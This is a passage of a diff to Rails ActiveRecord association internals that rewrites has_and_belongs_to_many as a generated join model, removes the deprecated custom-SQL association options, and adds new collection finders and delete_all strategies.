+ KnownTable.new options[:join_table].to_s
+ else
+ class_name = options.fetch(:class_name) {
+ name.to_s.camelize.singularize
+ }
+ KnownClass.new lhs_class, class_name
+ end
+ end
end
- def build
- reflection = super
- define_destroy_hook
- reflection
+ attr_reader :lhs_model, :association_name, :options
+
+ def initialize(association_name, lhs_model, options)
+ @association_name = association_name
+ @lhs_model = lhs_model
+ @options = options
end
- def show_deprecation_warnings
- super
+ def through_model
+ habtm = JoinTableResolver.build lhs_model, association_name, options
+
+ join_model = Class.new(ActiveRecord::Base) {
+ class << self;
+ attr_accessor :class_resolver
+ attr_accessor :name
+ attr_accessor :table_name_resolver
+ attr_accessor :left_reflection
+ attr_accessor :right_reflection
+ end
+
+ def self.table_name
+ table_name_resolver.join_table
+ end
+
+ def self.compute_type(class_name)
+ class_resolver.compute_type class_name
+ end
- [:delete_sql, :insert_sql].each do |name|
- if options.include? name
- ActiveSupport::Deprecation.warn("The :#{name} association option is deprecated. Please find an alternative (such as using has_many :through).")
+ def self.add_left_association(name, options)
+ belongs_to name, options
+ self.left_reflection = reflect_on_association(name)
end
+
+ def self.add_right_association(name, options)
+ rhs_name = name.to_s.singularize.to_sym
+ belongs_to rhs_name, options
+ self.right_reflection = reflect_on_association(rhs_name)
+ end
+
+ }
+
+ join_model.name = "HABTM_#{association_name.to_s.camelize}"
+ join_model.table_name_resolver = habtm
+ join_model.class_resolver = lhs_model
+
+ join_model.add_left_association :left_side, class: lhs_model
+ join_model.add_right_association association_name, belongs_to_options(options)
+ join_model
+ end
+
+ def middle_reflection(join_model)
+ middle_name = [lhs_model.name.downcase.pluralize,
+ association_name].join('_').gsub(/::/, '_').to_sym
+ middle_options = middle_options join_model
+ hm_builder = HasMany.create_builder(lhs_model,
+ middle_name,
+ nil,
+ middle_options)
+ hm_builder.build lhs_model
+ end
+
+ private
+
+ def middle_options(join_model)
+ middle_options = {}
+ middle_options[:class] = join_model
+ middle_options[:source] = join_model.left_reflection.name
+ if options.key? :foreign_key
+ middle_options[:foreign_key] = options[:foreign_key]
end
+ middle_options
end
- def define_destroy_hook
- name = self.name
- model.send(:include, Module.new {
- class_eval <<-RUBY, __FILE__, __LINE__ + 1
- def destroy_associations
- association(:#{name}).delete_all
- super
- end
- RUBY
- })
+ def belongs_to_options(options)
+ rhs_options = {}
+
+ if options.key? :class_name
+ rhs_options[:foreign_key] = options[:class_name].foreign_key
+ rhs_options[:class_name] = options[:class_name]
+ end
+
+ if options.key? :association_foreign_key
+ rhs_options[:foreign_key] = options[:association_foreign_key]
+ end
+
+ rhs_options
end
end
end
diff --git a/activerecord/lib/active_record/associations/builder/has_many.rb b/activerecord/lib/active_record/associations/builder/has_many.rb
index 0d1bdd21ee..4c8c826f76 100644
--- a/activerecord/lib/active_record/associations/builder/has_many.rb
+++ b/activerecord/lib/active_record/associations/builder/has_many.rb
@@ -5,11 +5,11 @@ module ActiveRecord::Associations::Builder
end
def valid_options
- super + [:primary_key, :dependent, :as, :through, :source, :source_type, :inverse_of, :counter_cache]
+ super + [:primary_key, :dependent, :as, :through, :source, :source_type, :inverse_of, :counter_cache, :join_table]
end
- def valid_dependent_options
- [:destroy, :delete_all, :nullify, :restrict, :restrict_with_error, :restrict_with_exception]
+ def self.valid_dependent_options
+ [:destroy, :delete_all, :nullify, :restrict_with_error, :restrict_with_exception]
end
end
end
diff --git a/activerecord/lib/active_record/associations/builder/has_one.rb b/activerecord/lib/active_record/associations/builder/has_one.rb
index 0da564f402..f359efd496 100644
--- a/activerecord/lib/active_record/associations/builder/has_one.rb
+++ b/activerecord/lib/active_record/associations/builder/has_one.rb
@@ -10,16 +10,14 @@ module ActiveRecord::Associations::Builder
valid
end
- def constructable?
- !options[:through]
+ def self.valid_dependent_options
+ [:destroy, :delete, :nullify, :restrict_with_error, :restrict_with_exception]
end
- def configure_dependency
- super unless options[:through]
- end
+ private
- def valid_dependent_options
- [:destroy, :delete, :nullify, :restrict, :restrict_with_error, :restrict_with_exception]
+ def self.add_before_destroy_callbacks(model, reflection)
+ super unless reflection.options[:through]
end
end
end
diff --git a/activerecord/lib/active_record/associations/builder/singular_association.rb b/activerecord/lib/active_record/associations/builder/singular_association.rb
index 76e48e66e5..e655c389a6 100644
--- a/activerecord/lib/active_record/associations/builder/singular_association.rb
+++ b/activerecord/lib/active_record/associations/builder/singular_association.rb
@@ -1,23 +1,18 @@
-# This class is inherited by the has_one and belongs_to association classes
+# This class is inherited by the has_one and belongs_to association classes
module ActiveRecord::Associations::Builder
class SingularAssociation < Association #:nodoc:
def valid_options
- super + [:remote, :dependent, :counter_cache, :primary_key, :inverse_of]
+ super + [:remote, :dependent, :primary_key, :inverse_of]
end
- def constructable?
- true
- end
-
- def define_accessors
+ def self.define_accessors(model, reflection)
super
- define_constructors if constructable?
+ define_constructors(model.generated_association_methods, reflection.name) if reflection.constructable?
end
# Defines the (build|create)_association methods for belongs_to or has_one association
-
- def define_constructors
+ def self.define_constructors(mixin, name)
mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
def build_#{name}(*args, &block)
association(:#{name}).build(*args, &block)
diff --git a/activerecord/lib/active_record/associations/collection_association.rb b/activerecord/lib/active_record/associations/collection_association.rb
index 9833822f8f..1c84973920 100644
--- a/activerecord/lib/active_record/associations/collection_association.rb
+++ b/activerecord/lib/active_record/associations/collection_association.rb
@@ -4,10 +4,9 @@ module ActiveRecord
#
# CollectionAssociation is an abstract class that provides common stuff to
# ease the implementation of association proxies that represent
- # collections. See the class hierarchy in AssociationProxy.
+ # collections. See the class hierarchy in Association.
#
# CollectionAssociation:
- # HasAndBelongsToManyAssociation => has_and_belongs_to_many
# HasManyAssociation => has_many
# HasManyThroughAssociation + ThroughAssociation => has_many :through
#
@@ -34,7 +33,7 @@ module ActiveRecord
reload
end
- @proxy ||= CollectionProxy.new(klass, self)
+ @proxy ||= CollectionProxy.create(klass, self)
end
# Implements the writer method, e.g. foo.items= for Foo.has_many :items
@@ -44,7 +43,7 @@ module ActiveRecord
# Implements the ids reader method, e.g. foo.item_ids for Foo.has_many :items
def ids_reader
- if loaded? || options[:finder_sql]
+ if loaded?
load_target.map do |record|
record.send(reflection.association_primary_key)
end
@@ -67,11 +66,11 @@ module ActiveRecord
@target = []
end
- def select(select = nil)
+ def select(*fields)
if block_given?
load_target.select.each { |e| yield e }
else
- scope.select(select)
+ scope.select(*fields)
end
end
@@ -79,17 +78,14 @@ module ActiveRecord
if block_given?
load_target.find(*args) { |*block_args| yield(*block_args) }
else
- if options[:finder_sql]
- find_by_scan(*args)
- elsif options[:inverse_of] && loaded?
- args = args.flatten
- raise RecordNotFound, "Couldn't find #{scope.klass.name} without an ID" if args.blank?
-
+ if options[:inverse_of] && loaded?
+ args_flatten = args.flatten
+ raise RecordNotFound, "Couldn't find #{scope.klass.name} without an ID" if args_flatten.blank?
result = find_by_scan(*args)
result_size = Array(result).size
- if !result || result_size != args.size
- scope.raise_record_not_found_exception!(args, result_size, args.size)
+ if !result || result_size != args_flatten.size
+ scope.raise_record_not_found_exception!(args_flatten, result_size, args_flatten.size)
else
result
end
@@ -100,11 +96,31 @@ module ActiveRecord
end
def first(*args)
- first_or_last(:first, *args)
+ first_nth_or_last(:first, *args)
+ end
+
+ def second(*args)
+ first_nth_or_last(:second, *args)
+ end
+
+ def third(*args)
+ first_nth_or_last(:third, *args)
+ end
+
+ def fourth(*args)
+ first_nth_or_last(:fourth, *args)
+ end
+
+ def fifth(*args)
+ first_nth_or_last(:fifth, *args)
+ end
+
+ def forty_two(*args)
+ first_nth_or_last(:forty_two, *args)
end
def last(*args)
- first_or_last(:last, *args)
+ first_nth_or_last(:last, *args)
end
def build(attributes = {}, &block)
@@ -118,20 +134,19 @@ module ActiveRecord
end
def create(attributes = {}, &block)
- create_record(attributes, &block)
+ _create_record(attributes, &block)
end
def create!(attributes = {}, &block)
- create_record(attributes, true, &block)
+ _create_record(attributes, true, &block)
end
# Add +records+ to this association. Returns +self+ so method calls may
# be chained. Since << flattens its argument list and inserts each record,
# +push+ and +concat+ behave identically.
def concat(*records)
- load_target if owner.new_record?
-
if owner.new_record?
+ load_target
concat_records(records)
else
transaction { concat_records(records) }
@@ -153,11 +168,33 @@ module ActiveRecord
end
end
- # Remove all records from this association.
+ # Removes all records from the association without calling callbacks
+ # on the associated records. It honors the `:dependent` option. However
+ # if the `:dependent` value is `:destroy` then in that case the `:delete_all`
+ # deletion strategy for the association is applied.
+ #
+ # You can force a particular deletion strategy by passing a parameter.
+ #
+ # Example:
+ #
+ # @author.books.delete_all(:nullify)
+ # @author.books.delete_all(:delete_all)
#
# See delete for more info.
- def delete_all
- delete(:all).tap do
+ def delete_all(dependent = nil)
+ if dependent && ![:nullify, :delete_all].include?(dependent)
+ raise ArgumentError, "Valid values are :nullify or :delete_all"
+ end
+
+ dependent = if dependent
+ dependent
+ elsif options[:dependent] == :destroy
+ :delete_all
+ else
+ options[:dependent]
+ end
+
+ delete_all_with_dependency(dependent).tap do
reset
loaded!
end
@@ -173,36 +210,29 @@ module ActiveRecord
end
end
- # Count all records using SQL. If the +:counter_sql+ or +:finder_sql+ option is set for the
- # association, it will be used for the query. Otherwise, construct options and pass them with
+ # Count all records using SQL. Construct options and pass them with
# scope to the target class's +count+.
def count(column_name = nil, count_options = {})
+ # TODO: Remove count_options argument as soon we remove support to
+ # activerecord-deprecated_finders.
column_name, count_options = nil, column_name if column_name.is_a?(Hash)
- if options[:counter_sql] || options[:finder_sql]
- unless count_options.blank?
- raise ArgumentError, "If finder_sql/counter_sql is used then options cannot be passed"
- end
-
- reflection.klass.count_by_sql(custom_counter_sql)
- else
- relation = scope
- if association_scope.distinct_value
- # This is needed because 'SELECT count(DISTINCT *)..' is not valid SQL.
- column_name ||= reflection.klass.primary_key
- relation = relation.distinct
- end
+ relation = scope
+ if association_scope.distinct_value
+ # This is needed because 'SELECT count(DISTINCT *)..' is not valid SQL.
+ column_name ||= reflection.klass.primary_key
+ relation = relation.distinct
+ end
- value = relation.count(column_name)
+ value = relation.count(column_name)
- limit = options[:limit]
- offset = options[:offset]
+ limit = options[:limit]
+ offset = options[:offset]
- if limit || offset
- [ [value - offset.to_i, 0].max, limit.to_i ].min
- else
- value
- end
+ if limit || offset
+ [ [value - offset.to_i, 0].max, limit.to_i ].min
+ else
+ value
end
end
@@ -214,26 +244,18 @@ module ActiveRecord
# are actually removed from the database, that depends precisely on
# +delete_records+. They are in any case removed from the collection.
def delete(*records)
- dependent = options[:dependent]
-
- if records.first == :all
-
- if dependent && dependent == :destroy
- message = 'In Rails 4.1 delete_all on associations would not fire callbacks. ' \
- 'It means if the :dependent option is :destroy then the associated ' \
- 'records would be deleted without loading and invoking callbacks.'
+ _options = records.extract_options!
+ dependent = _options[:dependent] || options[:dependent]
- ActiveRecord::Base.logger ? ActiveRecord::Base.logger.warn(message) : $stderr.puts(message)
- end
+ records = find(records) if records.any? { |record| record.kind_of?(Fixnum) || record.kind_of?(String) }
+ delete_or_destroy(records, dependent)
+ end
- if loaded? || dependent == :destroy
- delete_or_destroy(load_target, dependent)
- else
- delete_records(:all, dependent)
- end
+ def delete_all_with_dependency(dependent)
+ if dependent == :destroy
+ delete_or_destroy(load_target, dependent)
else
- records = find(records) if records.any? { |record| record.kind_of?(Fixnum) || record.kind_of?(String) }
- delete_or_destroy(records, dependent)
+ delete_records(:all, dependent)
end
end
@@ -285,14 +307,14 @@ module ActiveRecord
# Returns true if the collection is empty.
#
- # If the collection has been loaded or the <tt>:counter_sql</tt> option
- # is provided, it is equivalent to <tt>collection.size.zero?</tt>. If the
+ # If the collection has been loaded
+ # it is equivalent to <tt>collection.size.zero?</tt>. If the
# collection has not been loaded, it is equivalent to
# <tt>collection.exists?</tt>. If the collection has not already been
# loaded and you are going to fetch the records anyway it is better to
# check <tt>collection.length.zero?</tt>.
def empty?
- if loaded? || options[:counter_sql]
+ if loaded?
size.zero?
else
@target.blank? && !scope.exists?
@@ -336,7 +358,9 @@ module ActiveRecord
if owner.new_record?
replace_records(other_array, original_target)
else
- transaction { replace_records(other_array, original_target) }
+ if other_array != original_target
+ transaction { replace_records(other_array, original_target) }
+ end
end
end
@@ -345,8 +369,7 @@ module ActiveRecord
if record.new_record?
include_in_memory?(record)
else
- load_target if options[:finder_sql]
- loaded? ? target.include?(record) : scope.exists?(record)
+ loaded? ? target.include?(record) : scope.exists?(record.id)
end
else
false
@@ -362,8 +385,8 @@ module ActiveRecord
target
end
- def add_to_target(record)
- callback(:before_add, record)
+ def add_to_target(record, skip_callbacks = false)
+ callback(:before_add, record) unless skip_callbacks
yield(record) if block_given?
if association_scope.distinct_value && index = @target.index(record)
@@ -372,7 +395,7 @@ module ActiveRecord
@target << record
end
- callback(:after_add, record)
+ callback(:after_add, record) unless skip_callbacks
set_inverse_instance(record)
record
@@ -389,32 +412,23 @@ module ActiveRecord
end
private
+ def get_records
+ return scope.to_a if reflection.scope_chain.any?(&:any?)
- def custom_counter_sql
- if options[:counter_sql]
- interpolate(options[:counter_sql])
- else
- # replace the SELECT clause with COUNT(SELECTS), preserving any hints within /* ... */
- interpolate(options[:finder_sql]).sub(/SELECT\b(\/\*.*?\*\/ )?(.*)\bFROM\b/im) do
- count_with = $2.to_s
- count_with = '*' if count_with.blank? || count_with =~ /,/ || count_with =~ /\.\*/
- "SELECT #{$1}COUNT(#{count_with}) FROM"
- end
- end
+ conn = klass.connection
+ sc = reflection.association_scope_cache(conn, owner) do
+ StatementCache.create(conn) { |params|
+ as = AssociationScope.create { params.bind }
+ target_scope.merge as.scope(self, conn)
+ }
end
- def custom_finder_sql
- interpolate(options[:finder_sql])
- end
+ binds = AssociationScope.get_bind_values(owner, reflection.chain)
+ sc.execute binds, klass, klass.connection
+ end
def find_target
- records =
- if options[:finder_sql]
- reflection.klass.find_by_sql(custom_finder_sql)
- else
- scope.to_a
- end
-
+ records = get_records
records.each { |record| set_inverse_instance(record) }
records
end
@@ -449,13 +463,13 @@ module ActiveRecord
persisted + memory
end
- def create_record(attributes, raise = false, &block)
+ def _create_record(attributes, raise = false, &block)
unless owner.persisted?
raise ActiveRecord::RecordNotSaved, "You cannot call create unless the parent is saved"
end
if attributes.is_a?(Array)
- attributes.collect { |attr| create_record(attr, raise, &block) }
+ attributes.collect { |attr| _create_record(attr, raise, &block) }
else
transaction do
add_to_target(build_record(attributes)) do |record|
@@ -514,13 +528,13 @@ module ActiveRecord
target
end
- def concat_records(records)
+ def concat_records(records, should_raise = false)
result = true
records.flatten.each do |record|
raise_on_type_mismatch!(record)
add_to_target(record) do |rec|
- result &&= insert_record(rec) unless owner.new_record?
+ result &&= insert_record(rec, true, should_raise) unless owner.new_record?
end
end
@@ -529,20 +543,13 @@ module ActiveRecord
def callback(method, record)
callbacks_for(method).each do |callback|
- case callback
- when Symbol
- owner.send(callback, record)
- when Proc
- callback.call(owner, record)
- else
- callback.send(method, owner, record)
- end
+ callback.call(method, owner, record)
end
end
def callbacks_for(callback_name)
full_callback_name = "#{callback_name}_for_#{reflection.name}"
- owner.class.send(full_callback_name.to_sym) || []
+ owner.class.send(full_callback_name)
end
# Should we deal with assoc.first or assoc.last by issuing an independent query to
@@ -553,24 +560,21 @@ module ActiveRecord
# Otherwise, go to the database only if none of the following are true:
# * target already loaded
# * owner is new record
- # * custom :finder_sql exists
# * target contains new or changed record(s)
- # * the first arg is an integer (which indicates the number of records to be returned)
- def fetch_first_or_last_using_find?(args)
+ def fetch_first_nth_or_last_using_find?(args)
if args.first.is_a?(Hash)
true
else
!(loaded? ||
owner.new_record? ||
- options[:finder_sql] ||
- target.any? { |record| record.new_record? || record.changed? } ||
- args.first.kind_of?(Integer))
+ target.any? { |record| record.new_record? || record.changed? })
end
end
def include_in_memory?(record)
if reflection.is_a?(ActiveRecord::Reflection::ThroughReflection)
- owner.send(reflection.through_reflection.name).any? { |source|
+ assoc = owner.association(reflection.through_reflection.name)
+ assoc.reader.any? { |source|
target = source.send(reflection.source_reflection.name)
target.respond_to?(:include?) ? target.include?(record) : target == record
} || target.include?(record)
@@ -579,26 +583,26 @@ module ActiveRecord
end
end
- # If using a custom finder_sql or if the :inverse_of option has been
+ # If the :inverse_of option has been
# specified, then #find scans the entire collection.
def find_by_scan(*args)
expects_array = args.first.kind_of?(Array)
- ids = args.flatten.compact.map{ |arg| arg.to_i }.uniq
+ ids = args.flatten.compact.map{ |arg| arg.to_s }.uniq
if ids.size == 1
id = ids.first
- record = load_target.detect { |r| id == r.id }
+ record = load_target.detect { |r| id == r.id.to_s }
expects_array ? [ record ] : record
else
- load_target.select { |r| ids.include?(r.id) }
+ load_target.select { |r| ids.include?(r.id.to_s) }
end
end
# Fetches the first/last using SQL if possible, otherwise from the target array.
- def first_or_last(type, *args)
+ def first_nth_or_last(type, *args)
args.shift if args.first.is_a?(Hash) && args.first.empty?
- collection = fetch_first_or_last_using_find?(args) ? scope : load_target
+ collection = fetch_first_nth_or_last_using_find?(args) ? scope : load_target
collection.send(type, *args).tap do |record|
set_inverse_instance record if record.is_a? ActiveRecord::Base
end
diff --git a/activerecord/lib/active_record/associations/collection_proxy.rb b/activerecord/lib/active_record/associations/collection_proxy.rb
index 7cdb5ba5b3..84c8cfe72b 100644
--- a/activerecord/lib/active_record/associations/collection_proxy.rb
+++ b/activerecord/lib/active_record/associations/collection_proxy.rb
@@ -33,7 +33,6 @@ module ActiveRecord
def initialize(klass, association) #:nodoc:
@association = association
super klass, klass.arel_table
- self.default_scoped = true
merge! association.scope(nullify: false)
end
@@ -76,7 +75,7 @@ module ActiveRecord
# # #<Pet id: nil, name: "Choo-Choo">
# # ]
#
- # person.pets.select([:id, :name])
+ # person.pets.select(:id, :name )
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy">,
# # #<Pet id: 2, name: "Spook">,
@@ -85,7 +84,7 @@ module ActiveRecord
#
# Be careful because this also means you're initializing a model
# object with only the fields that you've selected. If you attempt
- # to access a field that is not in the initialized record you'll
+ # to access a field except +id+ that is not in the initialized record you'll
# receive:
#
# person.pets.select(:name).first.person_id
@@ -107,13 +106,13 @@ module ActiveRecord
# # #<Pet id: 2, name: "Spook">,
# # #<Pet id: 3, name: "Choo-Choo">
# # ]
- def select(select = nil, &block)
- @association.select(select, &block)
+ def select(*fields, &block)
+ @association.select(*fields, &block)
end
# Finds an object in the collection responding to the +id+. Uses the same
# rules as <tt>ActiveRecord::Base.find</tt>. Returns <tt>ActiveRecord::RecordNotFound</tt>
- # error if the object can not be found.
+ # error if the object cannot be found.
#
# class Person < ActiveRecord::Base
# has_many :pets
@@ -171,6 +170,32 @@ module ActiveRecord
@association.first(*args)
end
+ # Same as +first+ except returns only the second record.
+ def second(*args)
+ @association.second(*args)
+ end
+
+ # Same as +first+ except returns only the third record.
+ def third(*args)
+ @association.third(*args)
+ end
+
+ # Same as +first+ except returns only the fourth record.
+ def fourth(*args)
+ @association.fourth(*args)
+ end
+
+ # Same as +first+ except returns only the fifth record.
+ def fifth(*args)
+ @association.fifth(*args)
+ end
+
+ # Same as +first+ except returns only the forty second record.
+ # Also known as accessing "the reddit".
+ def forty_two(*args)
+ @association.forty_two(*args)
+ end
+
# Returns the last record, or the last +n+ records, from the collection.
# If the collection is empty, the first form returns +nil+, and the second
# form returns an empty array.
@@ -282,7 +307,7 @@ module ActiveRecord
# so method calls may be chained.
#
# class Person < ActiveRecord::Base
- # pets :has_many
+ # has_many :pets
# end
#
# person.pets.size # => 0
@@ -332,7 +357,7 @@ module ActiveRecord
# Deletes all the records from the collection. For +has_many+ associations,
# the deletion is done according to the strategy specified by the <tt>:dependent</tt>
- # option. Returns an array with the deleted records.
+ # option.
#
# If no <tt>:dependent</tt> option is given, then it will follow the
# default strategy. The default strategy is <tt>:nullify</tt>. This
@@ -410,16 +435,11 @@ module ActiveRecord
# # ]
#
# person.pets.delete_all
- # # => [
- # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
- # # #<Pet id: 2, name: "Spook", person_id: 1>,
- # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
- # # ]
#
# Pet.find(1, 2, 3)
# # => ActiveRecord::RecordNotFound
- def delete_all
- @association.delete_all
+ def delete_all(dependent = nil)
+ @association.delete_all(dependent)
end
# Deletes the records of the collection directly from the database
@@ -671,6 +691,8 @@ module ActiveRecord
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
def count(column_name = nil, options = {})
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
@association.count(column_name, options)
end
@@ -727,7 +749,7 @@ module ActiveRecord
end
# Returns +true+ if the collection is empty. If the collection has been
- # loaded or the <tt>:counter_sql</tt> option is provided, it is equivalent
+ # loaded it is equivalent
# to <tt>collection.size.zero?</tt>. If the collection has not been loaded,
# it is equivalent to <tt>collection.exists?</tt>. If the collection has
# not already been loaded and you are going to fetch the records anyway it
@@ -788,12 +810,12 @@ module ActiveRecord
# has_many :pets
# end
#
- # person.pets.count #=> 1
- # person.pets.many? #=> false
+ # person.pets.count # => 1
+ # person.pets.many? # => false
#
# person.pets << Pet.new(name: 'Snoopy')
- # person.pets.count #=> 2
- # person.pets.many? #=> true
+ # person.pets.count # => 2
+ # person.pets.many? # => true
#
# You can also pass a block to define criteria. The
# behavior is the same, it returns true if the collection
@@ -833,6 +855,10 @@ module ActiveRecord
!!@association.include?(record)
end
+ def arel
+ scope.arel
+ end
+
def proxy_association
@association
end
@@ -849,8 +875,6 @@ module ActiveRecord
def scope
@association.scope
end
-
- # :nodoc:
alias spawn scope
# Equivalent to <tt>Array#==</tt>. Returns +true+ if the two arrays
@@ -979,6 +1003,28 @@ module ActiveRecord
proxy_association.reload
self
end
+
+ # Unloads the association. Returns +self+.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets # fetches pets from the database
+ # # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+ #
+ # person.pets # uses the pets cache
+ # # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+ #
+ # person.pets.reset # clears the pets cache
+ #
+ # person.pets # fetches pets from the database
+ # # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+ def reset
+ proxy_association.reset
+ proxy_association.reset_scope
+ self
+ end
end
end
end
diff --git a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
deleted file mode 100644
index bb3e3db379..0000000000
--- a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-module ActiveRecord
- # = Active Record Has And Belongs To Many Association
- module Associations
- class HasAndBelongsToManyAssociation < CollectionAssociation #:nodoc:
- attr_reader :join_table
-
- def initialize(owner, reflection)
- @join_table = Arel::Table.new(reflection.join_table)
- super
- end
-
- def insert_record(record, validate = true, raise = false)
- if record.new_record?
- if raise
- record.save!(:validate => validate)
- else
- return unless record.save(:validate => validate)
- end
- end
-
- if options[:insert_sql]
- owner.connection.insert(interpolate(options[:insert_sql], record))
- else
- stmt = join_table.compile_insert(
- join_table[reflection.foreign_key] => owner.id,
- join_table[reflection.association_foreign_key] => record.id
- )
-
- owner.class.connection.insert stmt
- end
-
- record
- end
-
- private
-
- def count_records
- load_target.size
- end
-
- def delete_records(records, method)
- if sql = options[:delete_sql]
- records = load_target if records == :all
- records.each { |record| owner.class.connection.delete(interpolate(sql, record)) }
- else
- relation = join_table
- condition = relation[reflection.foreign_key].eq(owner.id)
-
- unless records == :all
- condition = condition.and(
- relation[reflection.association_foreign_key]
- .in(records.map { |x| x.id }.compact)
- )
- end
-
- owner.class.connection.delete(relation.where(condition).compile_delete)
- end
- end
-
- def invertible_for?(record)
- false
- end
- end
- end
-end
diff --git a/activerecord/lib/active_record/associations/has_many_association.rb b/activerecord/lib/active_record/associations/has_many_association.rb
index cf8a589496..aac85a36c8 100644
--- a/activerecord/lib/active_record/associations/has_many_association.rb
+++ b/activerecord/lib/active_record/associations/has_many_association.rb
@@ -9,7 +9,7 @@ module ActiveRecord
def handle_dependency
case options[:dependent]
- when :restrict, :restrict_with_exception
+ when :restrict_with_exception
raise ActiveRecord::DeleteRestrictionError.new(reflection.name) unless empty?
when :restrict_with_error
@@ -32,6 +32,7 @@ module ActiveRecord
def insert_record(record, validate = true, raise = false)
set_owner_attributes(record)
+ set_inverse_instance(record)
if raise
record.save!(:validate => validate)
@@ -57,9 +58,7 @@ module ActiveRecord
# the loaded flag is set to true as well.
def count_records
count = if has_cached_counter?
- owner.send(:read_attribute, cached_counter_attribute_name)
- elsif options[:counter_sql] || options[:finder_sql]
- reflection.klass.count_by_sql(custom_counter_sql)
+ owner.read_attribute cached_counter_attribute_name
else
scope.count
end
@@ -72,15 +71,15 @@ module ActiveRecord
[association_scope.limit_value, count].compact.min
end
- def has_cached_counter?(reflection = reflection)
+ def has_cached_counter?(reflection = reflection())
owner.attribute_present?(cached_counter_attribute_name(reflection))
end
- def cached_counter_attribute_name(reflection = reflection)
+ def cached_counter_attribute_name(reflection = reflection())
options[:counter_cache] || "#{reflection.name}_count"
end
- def update_counter(difference, reflection = reflection)
+ def update_counter(difference, reflection = reflection())
if has_cached_counter?(reflection)
counter = cached_counter_attribute_name(reflection)
owner.class.update_counters(owner.id, counter => difference)
@@ -99,7 +98,7 @@ module ActiveRecord
# it will be decremented twice.
#
# Hence this method.
- def inverse_updates_counter_cache?(reflection = reflection)
+ def inverse_updates_counter_cache?(reflection = reflection())
counter_name = cached_counter_attribute_name(reflection)
reflection.klass.reflect_on_all_associations(:belongs_to).any? { |inverse_reflection|
inverse_reflection.counter_cache_column == counter_name
@@ -109,10 +108,10 @@ module ActiveRecord
# Deletes the records according to the <tt>:dependent</tt> option.
def delete_records(records, method)
if method == :destroy
- records.each { |r| r.destroy }
+ records.each(&:destroy!)
update_counter(-records.length) unless inverse_updates_counter_cache?
else
- if records == :all
+ if records == :all || !reflection.klass.primary_key
scope = self.scope
else
scope = self.scope.where(reflection.klass.primary_key => records)
@@ -127,7 +126,11 @@ module ActiveRecord
end
def foreign_key_present?
- owner.attribute_present?(reflection.association_primary_key)
+ if reflection.klass.primary_key
+ owner.attribute_present?(reflection.association_primary_key)
+ else
+ false
+ end
end
end
end
diff --git a/activerecord/lib/active_record/associations/has_many_through_association.rb b/activerecord/lib/active_record/associations/has_many_through_association.rb
index a74dd1cdab..f3af8605cd 100644
--- a/activerecord/lib/active_record/associations/has_many_through_association.rb
+++ b/activerecord/lib/active_record/associations/has_many_through_association.rb
@@ -18,7 +18,7 @@ module ActiveRecord
# SELECT query if you use #length.
def size
if has_cached_counter?
- owner.send(:read_attribute, cached_counter_attribute_name)
+ owner.read_attribute cached_counter_attribute_name(reflection)
elsif loaded?
target.size
else
@@ -30,7 +30,6 @@ module ActiveRecord
unless owner.new_record?
records.flatten.each do |record|
raise_on_type_mismatch!(record)
- record.save! if record.new_record?
end
end
@@ -40,7 +39,7 @@ module ActiveRecord
def concat_records(records)
ensure_not_nested
- records = super
+ records = super(records, true)
if owner.new_record? && records
records.flatten.each do |record|
@@ -84,12 +83,16 @@ module ActiveRecord
@through_records[record.object_id] ||= begin
ensure_mutable
- through_record = through_association.build
+ through_record = through_association.build through_scope_attributes
through_record.send("#{source_reflection.name}=", record)
through_record
end
end
+ def through_scope_attributes
+ scope.where_values_hash(through_association.reflection.name.to_s)
+ end
+
def save_through_record(record)
build_through_record(record).save!
ensure
@@ -140,7 +143,21 @@ module ActiveRecord
case method
when :destroy
- count = scope.destroy_all.length
+ if scope.klass.primary_key
+ count = scope.destroy_all.length
+ else
+ scope.to_a.each do |record|
+ record.run_callbacks :destroy
+ end
+
+ arel = scope.arel
+
+ stmt = Arel::DeleteManager.new arel.engine
+ stmt.from scope.klass.arel_table
+ stmt.wheres = arel.constraints
+
+ count = scope.klass.connection.delete(stmt, 'SQL', scope.bind_values)
+ end
when :nullify
count = scope.update_all(source_reflection.foreign_key => nil)
else
@@ -149,7 +166,7 @@ module ActiveRecord
delete_through_records(records)
- if source_reflection.options[:counter_cache]
+ if source_reflection.options[:counter_cache] && method != :destroy
counter = source_reflection.counter_cache_column
klass.decrement_counter counter, records.map(&:id)
end
@@ -185,7 +202,7 @@ module ActiveRecord
def find_target
return [] unless target_reflection_has_associated_record?
- scope.to_a
+ get_records
end
# NOTE - not sure that we can actually cope with inverses here
diff --git a/activerecord/lib/active_record/associations/has_one_association.rb b/activerecord/lib/active_record/associations/has_one_association.rb
index 920038a543..944caacab6 100644
--- a/activerecord/lib/active_record/associations/has_one_association.rb
+++ b/activerecord/lib/active_record/associations/has_one_association.rb
@@ -6,7 +6,7 @@ module ActiveRecord
def handle_dependency
case options[:dependent]
- when :restrict, :restrict_with_exception
+ when :restrict_with_exception
raise ActiveRecord::DeleteRestrictionError.new(reflection.name) if load_target
when :restrict_with_error
@@ -26,15 +26,19 @@ module ActiveRecord
load_target
return self.target if !(target || record)
- if (target != record) || record.changed?
+
+ assigning_another_record = target != record
+ if assigning_another_record || record.changed?
+ save &&= owner.persisted?
+
transaction_if(save) do
- remove_target!(options[:dependent]) if target && !target.destroyed?
+ remove_target!(options[:dependent]) if target && !target.destroyed? && assigning_another_record
if record
set_owner_attributes(record)
set_inverse_instance(record)
- if owner.persisted? && save && !record.save
+ if save && !record.save
nullify_owner_attributes(record)
set_owner_attributes(target) if target
raise RecordNotSaved, "Failed to save the new associated #{reflection.name}."
diff --git a/activerecord/lib/active_record/associations/join_dependency.rb b/activerecord/lib/active_record/associations/join_dependency.rb
index 5aa17e5fbb..b7dc037a65 100644
--- a/activerecord/lib/active_record/associations/join_dependency.rb
+++ b/activerecord/lib/active_record/associations/join_dependency.rb
